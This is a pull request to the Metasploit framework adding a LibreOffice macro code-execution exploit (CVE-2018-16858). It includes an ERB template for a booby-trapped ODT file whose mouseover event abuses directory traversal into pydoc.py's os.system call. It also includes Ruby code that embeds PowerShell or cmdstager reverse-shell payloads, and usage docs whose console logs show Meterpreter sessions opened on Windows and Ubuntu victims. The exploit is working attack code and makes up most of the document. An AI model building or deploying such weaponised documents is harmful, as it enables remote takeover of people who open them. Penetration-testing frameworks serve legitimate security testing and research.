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Add Libreoffice macro exec exploit module #11729
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9d0c045
added erb file and base for module
space-r7 4873b7c
using a path for both Windows and Linux
space-r7 7005625
getting session on windows
space-r7 d7f77fd
getting session on linux
space-r7 391e7cf
adjusted font size and color
space-r7 da0c0d7
added most of documentation
space-r7 8dc8a18
added documentation and changes for module
space-r7 d0c29e7
mention needed handler in usage instructions
space-r7 54edf3c
reduced file size
space-r7 3920789
added x64 arch for targets
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<?xml version="1.0" encoding="UTF-8"?> | ||
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<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text"> | ||
<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta> | ||
<office:scripts> | ||
<office:script script:language="ooo:Basic"> | ||
<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink"> | ||
<ooo:library-embedded ooo:name="Standard"/> | ||
</ooo:libraries> | ||
</office:script> | ||
</office:scripts> | ||
<office:styles> | ||
<style:default-style style:family="graphic"> | ||
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/> | ||
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false"> | ||
<style:tab-stops/> | ||
</style:paragraph-properties> | ||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/> | ||
</style:default-style> | ||
<style:default-style style:family="paragraph"> | ||
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/> | ||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/> | ||
</style:default-style> | ||
<style:default-style style:family="table"> | ||
<style:table-properties table:border-model="collapsing"/> | ||
</style:default-style> | ||
<style:default-style style:family="table-row"> | ||
<style:table-row-properties fo:keep-together="auto"/> | ||
</style:default-style> | ||
<style:style style:name="Standard" style:family="paragraph" style:class="text"/> | ||
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text"> | ||
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/> | ||
</style:style> | ||
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"> | ||
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/> | ||
</style:style> | ||
</office:styles> | ||
<office:master-styles> | ||
<style:master-page style:name="Standard" style:page-layout-name="pm1"/> | ||
</office:master-styles> | ||
<office:body> | ||
<office:text> | ||
<text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p> | ||
</office:text> | ||
</office:body> | ||
</office:document> |
98 changes: 98 additions & 0 deletions
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documentation/modules/exploit/multi/fileformat/libreoffice_macro_exec.md
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## Description | ||
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This module exploits a directory traversal vulnerability in LibreOffice `v6.1.0-6.1.2.1` that enables remote code execution. | ||
Note: `6.0.x` and `6.1.3.x` versions are reportedly vulnerable to the directory traversal attack, but are not exploitable by | ||
this module due to the lack of ability to pass arguments. | ||
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LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events | ||
to them. A macro can be tied to a program event by including the script that contains the macro and the function | ||
name to be executed. Additionally, a directory traversal vulnerability exists in the component that references the | ||
Python script to be executed. This allows a program event to execute functions from Python scripts relative to the | ||
path of the samples macros folder. The `pydoc.py` script included with LibreOffice contains the `tempfilepager` function | ||
that passes arguments to `os.system`, allowing RCE. | ||
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This module generates an ODT file with a mouse over event that when triggered, will execute arbitrary code. | ||
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## Vulnerable Application | ||
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LibreOffice `v6.1.0-6.1.4.1`. Vulnerable versions for both Windows and Linux can be found [here](https://downloadarchive.documentfoundation.org/libreoffice/old/). | ||
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## Verification Steps | ||
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1. Install the application | ||
2. Start msfconsole | ||
3. Do: ```use exploit/multi/fileformat/libreoffice_macro_exec``` | ||
4. Do: ```set FILENAME <name>``` | ||
5. Do: ```set LHOST <ip>``` | ||
6. Do: ```set LPORT <port>``` | ||
7. Do: ```run``` | ||
8. Move the generated file to the target | ||
9. Start a handler | ||
10. Open the file with a vulnerable version of LibreOffice | ||
11. You should get a shell. | ||
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## Scenarios | ||
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### Tested on LibreOffice 6.1.2.1 running Windows 7 | ||
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``` | ||
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec | ||
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1 | ||
lhost => 192.168.37.1 | ||
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run | ||
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[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt | ||
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler | ||
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp | ||
payload => windows/meterpreter/reverse_tcp | ||
msf5 exploit(multi/handler) > set lhost 192.168.37.1 | ||
lhost => 192.168.37.1 | ||
msf5 exploit(multi/handler) > run | ||
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[*] Started reverse TCP handler on 192.168.37.1:4444 | ||
[*] Sending stage (179779 bytes) to 192.168.37.156 | ||
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.156:49180) at 2019-04-12 15:14:04 -0500 | ||
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meterpreter > getuid | ||
Server username: WIN-MGMN7ND70I1\a_user | ||
meterpreter > sysinfo | ||
Computer : WIN-MGMN7ND70I1 | ||
OS : Windows 7 (Build 7601, Service Pack 1). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 1 | ||
Meterpreter : x86/windows | ||
``` | ||
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### Tested on LibreOffice 6.1.0.1 running Ubuntu 18.04 | ||
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``` | ||
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec | ||
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set target 1 | ||
target => 1 | ||
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1 | ||
lhost => 192.168.37.1 | ||
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run | ||
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[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt | ||
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler | ||
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp | ||
payload => linux/x86/meterpreter/reverse_tcp | ||
msf5 exploit(multi/handler) > set LHOST 192.168.37.1 | ||
LHOST => 192.168.37.1 | ||
msf5 exploit(multi/handler) > run | ||
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[*] Started reverse TCP handler on 192.168.37.1:4444 | ||
[*] Sending stage (985320 bytes) to 192.168.37.174 | ||
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.174:39912) at 2019-04-12 14:50:08 -0500 | ||
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meterpreter > getuid | ||
Server username: uid=1000, gid=1000, euid=1000, egid=1000 | ||
meterpreter > sysinfo | ||
Computer : 192.168.37.174 | ||
OS : Ubuntu 18.04 (Linux 4.18.0-16-generic) | ||
Architecture : x64 | ||
BuildTuple : i486-linux-musl | ||
Meterpreter : x86/linux | ||
``` |
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115
modules/exploits/multi/fileformat/libreoffice_macro_exec.rb
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## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
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class MetasploitModule < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
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include Msf::Exploit::FILEFORMAT | ||
include Msf::Exploit::Powershell | ||
include Msf::Exploit::CmdStager | ||
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def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'LibreOffice Macro Code Execution', | ||
'Description' => %q{ | ||
LibreOffice comes bundled with sample macros written in Python and | ||
allows the ability to bind program events to them. A macro can be tied | ||
to a program event by including the script that contains the macro and | ||
the function name to be executed. Additionally, a directory traversal | ||
vulnerability exists in the component that references the Python script | ||
to be executed. This allows a program event to execute functions from Python | ||
scripts relative to the path of the samples macros folder. The pydoc.py script | ||
included with LibreOffice contains the tempfilepager function that passes | ||
arguments to os.system, allowing RCE. | ||
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This module generates an ODT file with a mouse over event that | ||
when triggered, will execute arbitrary code. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Alex Inführ', # Vulnerability discovery and PoC | ||
'Shelby Pace' # Metasploit Module | ||
], | ||
'References' => | ||
[ | ||
[ 'CVE', '2018-16858' ], | ||
[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ] | ||
], | ||
'Platform' => [ 'win', 'linux' ], | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'Targets' => | ||
[ | ||
[ | ||
'Windows', | ||
{ | ||
'Platform' => 'win', | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'Payload' => 'windows/meterpreter/reverse_tcp', | ||
'DefaultOptions' => { 'PrependMigrate' => true } | ||
} | ||
], | ||
[ | ||
'Linux', | ||
{ | ||
'Platform' => 'linux', | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'Payload' => 'linux/x86/meterpreter/reverse_tcp', | ||
'DefaultOptions' => { 'PrependFork' => true }, | ||
'CmdStagerFlavor' => 'printf', | ||
} | ||
] | ||
], | ||
'DisclosureDate' => "Oct 18, 2018", | ||
'DefaultTarget' => 0 | ||
)) | ||
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register_options( | ||
[ | ||
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']) | ||
]) | ||
end | ||
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def gen_windows_cmd | ||
opts = | ||
{ | ||
:remove_comspec => true, | ||
:method => 'reflection', | ||
:encode_final_payload => true | ||
} | ||
@cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts) | ||
@cmd << ' && echo' | ||
end | ||
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def gen_linux_cmd | ||
@cmd = generate_cmdstager.first | ||
@cmd << ' && echo' | ||
end | ||
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def gen_file(path) | ||
text_content = Rex::Text.rand_text_alpha(10..15) | ||
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# file from Alex Inführ's PoC post referenced above | ||
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb')) | ||
libre_file = ERB.new(fodt_file).result(binding()) | ||
libre_file | ||
rescue Errno::ENOENT | ||
fail_with(Failure::NotFound, 'Cannot find template file') | ||
end | ||
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def exploit | ||
path = '../../../program/python-core-3.5.5/lib/pydoc.py' | ||
if datastore['TARGET'] == 0 | ||
gen_windows_cmd | ||
elsif datastore['TARGET'] == 1 | ||
gen_linux_cmd | ||
else | ||
fail_with(Failure::BadConfig, 'A formal target was not chosen.') | ||
end | ||
fodt_file = gen_file(path) | ||
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file_create(fodt_file) | ||
end | ||
end |
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While 'Arch' here seems to indicate I can select a 64-bit payload, the targets below restrict this to just 32-bit.
I wonder if you couldn't just use 'ARCH_ALL', since I don't think it actually matters for this exploit.